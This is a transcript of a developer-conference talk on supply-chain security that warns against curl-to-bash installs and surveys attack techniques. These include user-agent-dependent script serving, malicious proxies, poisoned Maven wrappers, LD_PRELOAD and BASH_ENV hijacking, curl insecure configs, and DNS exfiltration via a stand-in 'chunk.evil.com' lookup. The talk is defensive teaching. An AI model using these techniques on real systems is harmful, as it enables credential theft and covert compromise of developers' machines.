About this talk
In this talk, Steve Poole explores the security risks associated with software development practices, particularly focusing on the use of curl and bash scripts for installation. He discusses how developers often trust these convenient methods without considering the potential vulnerabilities, including dependency confusion, typosquatting, and the repercussions of using outdated or unsupported software. Poole emphasizes the importance of being security-conscious during software development and making informed decisions about dependencies and the tools used. Through demonstrations and examples, he highlights how easy it can be for malicious actors to compromise systems through seemingly benign actions, urging developers to adopt a more cautious approach to security.
Full transcript
Yeah. Good. Wow. Are you having a good day? Have you seen lots of good talks? Have you learned some good things? Good. And you're happy about being a developer. Well, I'm going to change all that. Okay. Uh so, uh the slides for this talk are available off that QR code if you're inclined to trust it. Um there's an article that maps is this which you can There's
a little URL at the bottom there. But you can find it on Java Pro to go with this as well. Um and I will show you somewhere else we can get the data. Let me introduce me and then we'll talk about what this talk is about. Uh so, my name is Steve Poole. I work for a company called Hero Devs which provides support for open source software
that no longer no longer has support and maintainers. Which is a large amount of stuff. and I've been doing Java forever since it was down here. You know, before one. Uh and so, I do a lot of Java Java and JVM stuff. But I do security as well. But I do software supply chain stuff. Which is the fancy word for all the CI/CD systems and the things
that you use. Okay. Um you can find me on LinkedIn and noregressions.dev is my website and you find these these chart these things and other things as there as well. There's a bunch of books and articles and whatever. Okay. But I'm here to tell you a story. Okay? And it you may think it's fun story, but you know, are you sitting comfortably because this is an interesting
tale. Let's start here. How many of you have ever used curl bash to install software? I mean, come on, everybody. Or you're going No, yes, you have. Everybody has. How many of you ever copied one of them from a website or from a stack overflow and go to that Somebody says, "This is how you do it." So, you just cut and paste, right? Uh how about running
npm install without checking? Yes, yes, yes. And what about downloading an AI model from Hugging Face? Anybody done that? AI go That's one. You Google for it. That's the one you want. You download it. Okay? We can talk about that, too, right? A lot of the problems that we have in the world with security are to do with vulnerabilities within the software that we use. Another big
problem with security, another area, is to do with credentials getting lost, getting stolen, social engineering, and taking things out. Okay? That happens. But the third thing, and it's a pretty big thing, is you not being security conscious in the way that you develop software. The fact that you make these choices without thinking about it is a really bad, bad thing. And I would like you to walk
out of here knowing a little bit about the dangers you're exposing yourself to, and there are lots of them. And hopefully walk away going, "Okay, I won't do that next time." Or at least I know what to do to make sure that I'm a bit safer than I am now. Okay? Right. I'm going to do some demos in a minute, but I can't remember whether I'm going
to skip. But I wanted to just set some scenes first. We are tuned to trust. All right. We've been working in open source communities. Everybody has been taking make use of open source software. And we trust the people who produce those things. So, when we see things on Stack Overflow, we assume that the person putting there is trustworthy. And not like you've ever met them, but they're
being helpful, And we love convenience. So, we like trust, we love convenience cuz hey, curl bash, that's easy how to install software. That's just so easy. I don't have to install any installers. I can just do it. And it's easy to publish. It's easy. Right? And so, you get that everywhere. But the other thing that we do over convenience is we like flexibility. So, we build tools
that discover things and do things because it's great. Just do this. If you look at all of the configuration systems that we use, look at how Ubuntu's configured. I don't know. You look everywhere, and there is always a put a file in this place, and things will happen. And we do that mostly for convenience. Sometimes it's a good architecture decision, but often it's because it's convenient. And
unfortunately, because the way that the way that the world we live in is changing, there's no security in that convenience. And so, you need to understand that you have to put that in. So, I'm going to do a few demos. Not very many. I've got more slides than because I want to see show you what's going on. But I've The other thing is is flicking back and
forth is complicated. So, I want to just do the demos at the beginning and maybe flick back occasionally, right? I want to talk about how the data gets out. And we'll got some part of the demo things. We'll talk about how data gets stolen off your machine. Uh and then we'll look at a whole bunch of other things. I said most of these are not demos. Most
of these are slides with some examples and we'll go through it. But there's a lot of stuff that's in your space that has edges that can be compromised. Okay? And at the end I'll wrap up and talk about some of the things we can do to reduce these exposure. So, the first thing, let's go back to the trust stuff. I said software supply chain. That's the job
that I have. And when I say to developers about dependencies and things like that, you probably just think about the little box of little dependencies and libraries. That's the bit where you make choices. But actually you make choices all the way through. You choose or your organization chooses about how often it maintains things or how you do code development or when you signal that something is no
longer supported. And most of us use software that is not Only 11% of the open source software out there is under maintenance. 11%. Okay? So, you have all these different thoughts about your software. And then every single dep- dependency that you've chosen, every single build tool that you've chosen, every single operating system that you've chosen, somebody somewhere else is having similar thoughts about their thing or maybe
different thoughts about their things. So, on an average Java application, and this is probably mostly true for most of them, but on an average Java there's about 150 dependencies. So, the Java application that you the dependencies that you put on top the the direct ones, 1 2 10 50, they fan out, right? Transitive dependencies, the dependencies of my dependencies of my dependencies. There's about 150 of them.
So, there are 150 odd other sets of making decisions about the code you use. And there are 150 other groups of people who make decisions about how they develop that code. Right? Or to put this a different way, 10% of the application that you wrote is the code that you wrote. The other 90% comes from all the frameworks and the operating systems and everything below you. So,
you rely on all these people, all this code, to be safe. And you know that everybody who's there uses curl bash too. Right? You know that, yes? So, the company I work for, we do this end-of-life support. So, what we're trying to do is every one of those things on that in that underneath in the bottom of that iceberg that doesn't have support but has security problems,
well, that's what we do. We stand up and we say you can buy from us support, okay? And there are more and more people doing this stuff like that. We're beginning The world is beginning to recognize that open source is really, really important, but we also understand that it's got big weaknesses in a security point of view. So, people are turning up and you know, it's a
commercial endeavor, okay? So, that's what we do, right? So, that's my pitch over. Let's carry on with the demos, right? So, how are they going to get into the system, right? How do they get into your system? I want to cover this and then I said we'll do the demos in a second because the curl bash story is one part of the story, but the other story
that you have to have is all that 150 groups of people, right? They get attacked. And open source is under constant attack and the attacks are rising. And AI is the course in there making it worse. So, you get things like dependency confusion. That's where you have something you have a dependency you put it in your palm or your package text whatever and you've gone um I
want I want thing I want foo version one. Okay. And uh foo's are all foo's too short. I have I want um I don't know. I want green gauge one. And somebody has recognized that sometimes I spell it wrong. So, I get the spelling wrong. It looks like it's almost correct. What somebody does is register that package with that name slightly mistyped, okay? I I mistyped it.
And where's the thing I would expect it to fail when I try to build it, it doesn't fail because somebody has registered that. That's a dependency confusion. Um No, that's not. That's typosquatting. That's typosquatting. Dependency confusion is when I register version one of something and somebody else will two of something. Same thing, different owners. When I go and ask for latest, I don't get the one that
I should do, I get some random one. So, there are packages turning up on the NPM with version numbers in the high numbers. Right? Because when you do latest, it finds the highest number and it's from a different author. Usually a bad one. Well, you can see the others. Account takeovers, uh build systems, source codes. Everybody has these systems and so the bad guys will be trying
to compromise the systems directly. Just as they're going to try and compromise your systems. Right? And everything everything that you install, IDE plugins, build tools, whatever, right? They all tend to have this convenience mode. And so they are therefore targetable by bad guys. And if they're targetable by bad guys against those 150 components, they're also going to target you. And because you do curl bash, you just
copy it, you let them in. Okay. So, we know what curl bash is. We all use it. Um here's a bunch of ones that I've just taken off the internet. Uh I'm not going to ask you, but I know that you don't know, in general, what any of those options mean. Right? You don't know which of these is right or which is wrong. You don't know what
the command options Cuz I know that if I was to ask you, you probably couldn't tell me the difference between curl and Wget. Why do I use one versus the other? They have different reasons for existing. But it doesn't matter because we consume software as is based [snorts] on simple instructions. And what we tend to get out of that is this corruptible, we'll show that in a
but also you pull down loads of stuff to solve a small problem and you bring other stuff down with it as well, not thinking about it. What am I getting? Getting a solution to my prob- problem, but also other stuff. Right. So, let's do this demo or demos. Bear with me as I get this to work. Right. So, I have a website. I need to put my
glasses on now. So, we've all done this, right? We go to a This one this is called devtools-pro.org, right? This is not real. It's running on And you know what it's like, you get there, you've got the download script button. Right? So, you can actually go look at it. That's cool. There's the script. there's a there's a copy button over here because I'm so lazy I can't
even just, you know, do that. Right? And you know, there's loads of other ways and there'll be all sorts of other ways of how to install this. Right? That's what you expect. People who produce tools put all sorts of stuff together like that. Okay? So, let let's just do this, right? Let's do the uh let's go back home. So, let me copy that. Let's go here. So,
that's what I copied. Let me see at the bottom. Right, curl ls You have no idea what a dash ls is, do you? Right, so I run that. And hey, whatever it is that it's going to do is going to do. Yeah? And that's great. That's the right answer. But what happens if I go here? .com I've gone to .com. And in fact, that might be my
first port of call. I might have sent somebody said, "Well, just go to dev tools and get data." And you type it in and you hit this one. What's the difference between this one and this one? Well, okay. Let's try it. Let's have a look. What does the script look like? Let's download the script. So, the script is different to show you that the script is different.
copy that, paste it. There we are. It says devtools.pro blah blah blah. What happens? Uh well, there we go. What does it say? It says checking system requirements. Hello evil world. Well, hang on a minute. How did that and that happen? Any ideas? Cuz look, this is what you did. You'd go and look at the script. And then you'd run it. You'd You'd copy Okay. So, the
difference between getting that output and seeing that is a user agent. I come to the browser. I come to this website on the browser. The server knows I'm coming through using Chrome. User agent Chrome. Here's curl, different user agent. So, I get a different response. What I get back is different. Okay? It's just that simple. So, you've been thinking you're clever and you've been looking at the
code of the of the script. Never realizing that you should actually download it first before you look at it. Browsing does not get you in the get where you want to go. Right. Now. While we're here, let's just So, this is the bad website. Let's just copy that thing. Okay? Right. So, you can't see that cuz it's not very clear, but it does actually say curl s
to devtools.pro.com/install piping into bash. And I've just clicked the copy button. Okay. So, now what do I get? I don't know if you can see the difference. Maybe you can see the difference here. Here's the first one. That's the one that I copied myself. Here's the bottom one that the cut and paste button did for And you see there's extra character. So, another thing to think about
is that when you go to a website and there's a convenient little button like copy that actually what it says it puts in your cut and paste bin is exactly what it says. Right. Cool. So, while we're here let's look at some of these other Uh let's make this one bigger. you're used to seeing list of instructions and you've got to a website and the website you
go, "Okay, it's what I expected." And it gives you a very nice feeling because it's well-constructed and it gives you stuff. Right? And you see this top one here. It says install via curl install install via curl. This will download from our mirror and you can see it's got a mirror at the front. Okay. Right. fsslx Is this real? Not real? Uh the simple answer is curl
doesn't have mirror support. What it does is have proxy. And the X says the next thing I give you is a proxy. well, it doesn't matter what's on this because now I'm going to go through some evil proxy. And think about that if I managed to insert something like that and rather than have dev tools, I have GitHub. I curled out I curled something, but somebody said,
"Oh, if you do this, it'll go faster." And the chances are the proxy will have some things that are faster cuz it wants you to use it. But it's also possibly going to steal stuff from you or at very least give you corrupted information. Okay? You happy now? What else can we show you? Um What was the other thing I was That's interesting is when you download
things, sometimes they don't work. So, if I was to go to this bad one, I don't Let's just put something silly. All right. And I get a 404. All right? Tucked to the top of this, uh where has it gone? There we go. Tucked to the top of this HTML is a comment. So, if I was to go to the If I was to trigger a 404
in the webpage, I'd get all that. I wouldn't see that bit at the top. I'd get the usual stuff. But, if I was to do this and run it through bash, it runs. So, scripts aren't always in the place that you think they are. And so, when you see entries in tools and scripts and things that look innocuous, often they could be not innocuous because things like
this get hidden. So, what else have I got to show you? I've got some more while we're here. Yeah. Oh, well. So, while I While I'm here, you can see this list. I have a lot of these examples. I'm not sharing any of this with you because that would be a bad idea. I'm not educating you of all the bad ways that your system can be hacked.
Um and unfortunately, the list keeps growing as I learn more. But, there are a few I just want to show you since we're doing demos. So, Okay. So, the user agent one I've already shown. Um Let me show you the others and then we'll talk about them. And I'll talk Well, I'll talk about now, but you'll see what I mean in a minute. So, this one's called
Maven Poison. For those at the back who can't see it. What do bad guys do when they get onto Well, they do all sorts of things like So, what's going on here? Cuz we're going to run this twice. So, you see this at the top it says begin security and Oh, ha. Sorry, I didn't reset it. Let me reset Let's do that again. No, it didn't reset.
Well, that's awesome. Okay. Right. The li- the perils of live demos. Okay. So, what you should have seen at the top here begin security enhancement. You should have seen the beginnings of Maven W. Anybody here Java guys use Maven W? Yeah, okay. So, there are other scripts like that. Things scripts that you use among your team that you put into GitHub become a great way of promoting
software and promoting these bad bad things. So, this one is meant to show you that I can have a nice Maven W and I can run a script and what the script does because it's running as me, it's running as you can do anything. And so, the thing it's is going to steal your tokens, right? And it's going to corrupt whatever it can find that will help
you propagate. So, the theory I mean I run it twice, but the theory is you can see that. So, right, let's go back uh a another website that's running here. It's called XFill. This is how data gets out, right? So, this is pretending to be the bad guy. So, I ran that script, right? The script that you downloaded and curl bash and it went looking and it
picked up a bunch of keys. Because it has access to your .ssh folder. It has access to every .env file you've got. It has access to all the variables you have set. And if you run this in the CI/CD system, ditto. If you have a Dockerfile and at the top of the Dockerfile it says curl something, right? Imagine what you're bringing in. Imagine what it can steal.
Right? So, taking data out is easy, right? Because this case it was it was easy to to to send it, but you get all sorts of ways where the data can be can be exfilled. Um so, there are I'll show These are I'll show you this, but again this is fake because um doing it for real is complicated, but not as bad at not that complicated. So,
DNS tunneling is where I make a request to a DNS server, right? But, I've embedded some data. It's a bad DNS server. So, in So, encrypted in the request is whatever data I want to leave the system. And DNS requests, nobody ever stops cuz they're DNS. And then ICMP, ICMP, which is I can't see what I'm doing. There we go. ICMP, yeah. Yeah, so ICMP again, is
another way of getting data out in very small packets. You can see the packet sizes. because large packets might show up on some of your security systems. The point is it's very, very easy to exfil data. And because you're a developer and you're expected to have access to all these different systems and you download stuff, security teams don't worry about what you connect to because you connect
to all sorts of stuff and they have no pattern. Right. Let's go back to the presentation. I might come back to the demos, we'll see how this goes. All right. Okay, so let's get Okay. the worm starts, this wonderful way that people getting in is by you you letting them in the first first step. Right, that's the absolute first killer. right? And if you do what I
did, which was you look at it online, and then you download it, that's a bad idea. So, you must download it, review it, and then run it. Right? You must never do anything else. So, we did that. Yeah. Now, the question is, how good are you at reading bash? Anyone have any idea what this is? Any idea? Okay. So, this will crash uh your system. Because this
is a perpetually re um Um, what's the word? It It basically spawns new bash cells and runs that. More more processes, right? Boom boom boom boom. It's a denial of service attack inside curl. Would you spot that? Well, the answer is if you're a if if you know what you're looking for, yes, because that's a common pattern and that one is you can find online. But, that's
the sort of thing that you have to look out for, okay? Um, oh, I think I said this. So, yes, so and where you look for this information is not where you think. Every time you look at something and you go, "Oh, that's innocuous." Take a step back and ask yourself whether this instruction is correct and things like this could happen. Just turn up the trust or
turn down the trust, right? Start worrying about other sorts of things. Become more conscious of the ways that people going to attack you. Doesn't take much. Just start reading about these things, right? And paying attention when they cross when when they come up in your feed, it's like go and see. Somebody system was attacked. How did they attack it? CI/CD systems. Trojan Source is where you use
Unicode to manipulate what you see in a in an editor versus what the compiler or the script tool sees as well. Okay? So, this one this one has um, I got a better example. Yeah. This one has hidden Unicode. Right? And what this Unicode does is it reverses the display of the text. So, from your point of view it might look um, it looks like this. And
you're going, "That's fine. I have no what this is, but you know, I it's on it's got it's on some comment, so you know, it's fine. I have no idea what it is. I just let it through because it's convenient just to do that. But actually under the covers, you have these Unicode characters which the tool may or may not catch. Some tools will catch it. Some
tools won't. And if they don't catch it, they get ignored cuz they're Unicode. And you end up with, "Hey, let's go and do some bad stuff." Be happy. So, there we go. Loads and loads of reasons why the fundamental thing of using curl bash is a really really bad thing. Because of all the edges and the ways that can be sub that can be changed, subverted, corrupted,
okay? And um it executes as you. And how many of you seen them say you seen cut and paste that says pseudo this? Oh, I'll just do that. That's what it says to do. It wants authority to do things. Well, great. Now you've given it authority to do whatever it wants. Right? This is the fundamental takeaway here is this tool or any tool that you run under
under pseudo, It's going to be targeted. verify it, Cuz actually, maybe you're lucky. There's some checksum that you can go get to make sure it is the real thing. So, those man-in-the-middle things may got there as well. And you can, you know, there are ways to just check. Okay, let's keep going on. Um things about curl that you may not know is that you have these things
called curl config files. Anybody got a curl config file? Anybody heard of a curl config file? So, this thing is all instructions that your curl and they're like pre-configuration. So, when you run curl on the command line, this gets loaded and this has a set of opinions. Right? And depending where you put it, hint what the bad guys will try and do, you now can have a
situation where the curl instruction itself looks good. Right? Looks good. But actually, this thing does the bad stuff. Right? How about this one way down the bottom there? Insecure. That puts the dash K on curl. Dash K says, "Don't check whether the um website's secure. Don't worry about it." So, now I can point you at all sorts of interesting websites which have no certificates. Not that's a
big problem because the bad guys have money and they buy this stuff. But I can put all sorts of stuff in here and you don't even know it exists. And that's just one tool. So, this worm wiggles in and it sets itself up. Sets itself C2 means command and control. Right? So, one of the things it's going to try and do is turn off your logging and
things like that. Um and there are lots of ways it can get in and quieten your system down. So, LD_PRELOAD on the right types of is an environmental variable that says, "Run this code first." So, I run some random code that I've downloaded. But, in this case pretends to be an override the network connection. Right? And then, whatever I think I'm this thing has a different opinion.
Whatever system I think I'm connecting to, this library it has a different opinion. And look, it's just a it's just an environmental variable. Right? And all I need is a curl bash script to add that. Right? And it's all over the place. You see environmental variables being injected all over the place. and so I can put HTTP proxies on. I There's all sorts of stuff I can
do because we have really nice tools that let you do all sorts of stuff. And because you're not expert in those tools, you don't know these things are possible. Uh ditto with DNS manipulation. I can put stuff in your etc. hosts. Hopefully you might spot that. But, maybe not your CI/CD system. And I can now force any lookup for any website that you go to to resolve
to some other server. And if I've got the dash K set up in curl, it won't even it won't moan. It could be anything I want. It won't say, "Oh, this is not GitHub." It just silently makes the connection. I can add functions, bash functions which can replace command lines. So, I'm typing in curl, but I'm running something else. And this all comes through because you let
them in by running curl bash. You happy yet? So, it's going to do that. Like, these things are going to look at all the config files to turn off information to make sure that you it's not traceable, um and then it's going to look for places to hide itself. So, I get hooks. Um obviously, as talked to MVNW, I've got Well, we'll talk about that in a
second. But, how about um bash env? Bash env is an environmental variable that says, if you pipe something into path into bash, run whatever this says first. So, I can now compromise any of the the piping you do. Did you know that? So, I talked about quickly talked about getting it out. They have various ways of getting out. The simple answer is just to do it. Just
to post it because the chances are that will get away with it because your they don't see what they don't really look at what you do, and you go to all sorts of different websites. So, that may happen. DNS tunneling, as I said, look, NSLOOKUP chunk.evil.com. happens all over the place. All I need is one of those, and I can just send the data out, right? Probably
doesn't even get logged, and nobody really spots it because these things happen. And ditto, I say ICMP. ICMP is when you do pinging. You can ping something, and the information you transmit in the ping can be important data. Using your tools against you. There are so many places that people will use this. So, you see, because I can act as you, I can email I can put
things in GitHub. Uh there was a recent worm that created a whole bunch of GitHub repos. You may have heard of that. Once I'm you, I can do all sorts of stuff and I I can hide data into all sorts of places as you. You got Dropbox or um any cloud service mounted, right? Well, I'm you. So, I can put stuff there. Remember, I may even have
your credentials, so I can go steal them from the other side. Right. Okay. There are more complicated ways, which is things like stenography, where you take data and you stick it into an image. Now, that's the classic, but basically it's can I embed the information into an object that I can share you can't see without understanding what's going on, whether that's got compro- compromised data. And uh
detecting this stuff, well, first off, you need to know it's happening. It's happening. Right? But, most often, security teams are relying on you to do a better job. Because the patterns of usage that you have, as I said, are quite random. Right? But, there are tools out there. Absolutely, there are tools out there to catch these things. But, the best defense is going to be you being
a bit more aware that these sorts of things can happen. So, there we go. So, it steals all your Hey, you got a bash history. I'll steal Tokens, password files, SSH. It's easy. Thank you. Steal it, send it off. maybe I'm running curl bash in Docker or in my CI/CD system, right? And all the bad things that can happen on your machine can happen there. I'll carry
on. I'm I'm running out of time. I'm just getting too passionate. Let's carry on. Um These things are happening all the time. Right? And they're all variations of the same effect. So, Docker is really good because you take down a Docker image and you run it, you have no idea what's in it and what it does, do you? You just trust somebody. Now, hopefully you pick the
right person But you take a random model or a random uh Docker image or whatever and you you have no idea what you're running. And all these sorts of stuff can happen because you're running their code. Let's keep going. Okay. These sorts of patterns like run Ubuntu latest. Oh, that's a convenience. That makes my life easier. Well, okay, Ubuntu is not the greatest version. Example. But you
should be putting the shards in because those can get subverted. The people who publish them can get And then they can up the bad guys can upload something else. And you just pull it down. So, if you are not specific about what you use, you run the risk of it being compromised if that people gets compromised. And I'm sure you've all read read recently about the a
lot of the build tools themselves getting Right? So, this is all real active. Uh let's keep going. Um pipeline steps. Who uses GitHub Actions? How do you know that GitHub Action is safe? How do you know it's not doing any of this stuff? Right? Unless you're really, really certain, I would suggest that you take a good look at it and decide whether it's worth using or whether
you might want to write your own. Because all of these types of system GitHub actions, you give them secrets. And yes, you've got all this protection around the outside to prevent the world seeing your secrets, but then you go give them to some random action that you downloaded because it was convenient. Uh I'm going to miss the case studies. You can read this read this stuff in
the Yeah, if you want the slides. Other ways that they get in is once they're on your machine, you have whether it's in a CI/CD system or whatever, you have caches of code. You've downloaded binaries, They can add or corrupt those dependencies. So, whatever you downloaded, this thing at version one, right? And there are these examples of actual I've got Log I've got Log4j version 2.17 or
whatever, but inside it is some bad code because it's not really Log Log4j 2.17, it's an older version, and the tool has just changed the version numbers. And that happens on your CI/CD system. These guys are clever. Again, I'll let you read these if you want. You can go download the slides. Um All the places where you can code will are targets. So, if you run something,
even if you just install some code, and you're an NPM guy, and you run this scripts run when you install code. They run as you. They are just as vulnerable and are just as being targeted as the curl bash And if you're installing models, if you're a Java developer, certainly this is new to you. You may have a go at downloading models from Hugging Face. Often there's
some instructions, and almost always it's like going to install some Python code. And if you're not of the fact that when you install Python you may run have scripts running, you don't even realize you've made that choice. Because as a Java developer, when you install there's nothing running. It just downloads stuff. Different which you're stumbling into. And it will get into it will get into all these
places. Right, there are the the point is is that the scripts that you run without without reviewing them are the targets. Right. Right, okay. Let me wrap up. Maven attacks cuz hey, that's not Maven attacks. That's attacks on Maven, okay? has extensions. Did you know that? You can register an extensions, and guess what? They run when you do Maven. So, a bad guy will try and put
something Maven extensions.xml. so that when when you place a Here like you place a jar here, Maven home lib extension malicious extension. what happens is right, it runs. So, now I've got this nice piece of code connected. Whoops, that that ended quickly. Okay. Right. Um Load jars from Maven home lib ext. Some versions of Maven let you load because they're there. Not all Maven uh versions do
this. But it's the same with all these other things. There are places that your tools behave in ways that you weren't expecting. Right. Um what else have I got? I've talked about GitHub books. It's the same thing. Can I propagate it to your neighbor? Then then great. If not, not a big deal because I still compromise your system. I've done the NVM one. Which one's this? Uh
that was the demo I showed you about changing the NVMW script because then I commit it. Oh, and if I commit it as you, you probably don't even notice. Right. And even if I do change this, and I've got a good PR description with it, somebody else will go, "Okay, fine." They don't notice because they don't know the danger that they've got by this stuff changing. If
you use these sorts of scripts as part of your control process and your development environment, it's absolutely imperative that you make sure that you never allow that to be changed without all of the team reviewing it. And Spring Spring has the same thing. How do I describe this? Spring has also configuration mechanisms. And there are examples of starters which have these things configured. And you pick the
wrong starter, maybe you've got an internal starter, an internal that that the name gets shared. The bad guys register it publicly. That gets picked up. That has bad stuff It doesn't take much for them You only They only have to be um they only have to be correct once. And there are so many places, annotation processors, auto configs, you don't know this is happening, but they do,
and they've just got to get the stuff in the right place. So, I'm going to stop there cuz A, I'm running out of time, but also I think you get the idea. Convenience is the enemy of security. You have to get that. You have to understand all the choices are going to bite you if you do it just because it's easy. Build time attacks are increasing. Everywhere
that there's a convenience loader that you've got Oh, yeah, we could do that. We just have to put this file here. Now, think about how you manage that so that it doesn't happen out of your control, right? Because believe me, once you start understanding this is going to happen, it'll change the way you look at all go and have a look at what's in your M2 stuff.
Go look at your settings. Go look at your config files, right? Go do some dependency scanning to see what you've got, Look at where you can lock things down. It may be more work for you to do this. It certainly will keep you safer, Check for unexpected cron jobs. Bad guys can do anything, and they certainly can add cron jobs to your that you didn't even notice
was there. Hey, I'm a developer. I don't have cron running on my laptop. Oh, maybe you do. I think all of this is common sense. I will let you look at the slides, and I'll look at the look at and and also how you look at detecting this None of it is rocket science. Once you understand this is going on, then you can build these lists yourself,
right? There's loads of them. Um That's the QR code to these slides, so you can go download and read more of the words. I could talk about this for ages, but I hope that you get the real sense here. Right. This is a bad place we're in. And it's up to you as developers to start realizing that you have new responsibilities because the trust that you put
in open source communities, you can't trust that trust anymore. And you now have to start being more suspicious and more thoughtful about every time you put Cool. Thank you. Um [applause] So, there's a There are I mean, at the back of the the slide deck, there's a bunch of other stuff if you're interested. Um There's very well documented. There's I said I've written an article or two
about it as well. Please take this seriously and just, you know, just be more thoughtful. But other than that, uh are there any questions? I have 36 seconds, apparently. Any questions? Or are you going to rush off now and go open your laptop and find that cron job? >> I I have a quick question. >> Yeah. >> Um why is this Why is this happening now and
not >> Why is this happening now? >> It's happening now for two reasons. Uh that um it's worth $9 trillion. Um Um and the other reason is that people So, the $9 trillion is the amount of money the bad guys make out of cybercrime. So, this is very, very valuable, right? Cuz we don't do We We just let people in. So, they It's just The other reason
is is we now have moving from cybercrime to cyber warfare. And cyber warfare is not a war other than it's a cold war and that we have every nation-state you can think of is thinking how they can get their fingers into somebody else's economy to control it, to turn it off, to do things. So, when you see stuff in the press where you see large organizations having
peculiar types of a fact attack like I don't know. Um there was one a few years ago where some company had all their shipping labels changed. And it was a That's a bug. It's like what could be a bug, but it's also a typical cyberwarfare attack. So, now we're not It's It's a money thing, but it's also a control thing and because it's easy, everybody's doing it.
That's That's why. That's why it's now cuz it's reached that point. Any more? Sorry to burst your bubble on the last day of the conference. I should have done this the first day. Right. Anyway, if there's any more, I find me on LinkedIn. Um just ask me questions. I don't do Twitter very much anymore, so LinkedIn is about it. Um or grab me for whatever is the
rest of the conference. That's all. Thank you. >> [applause]
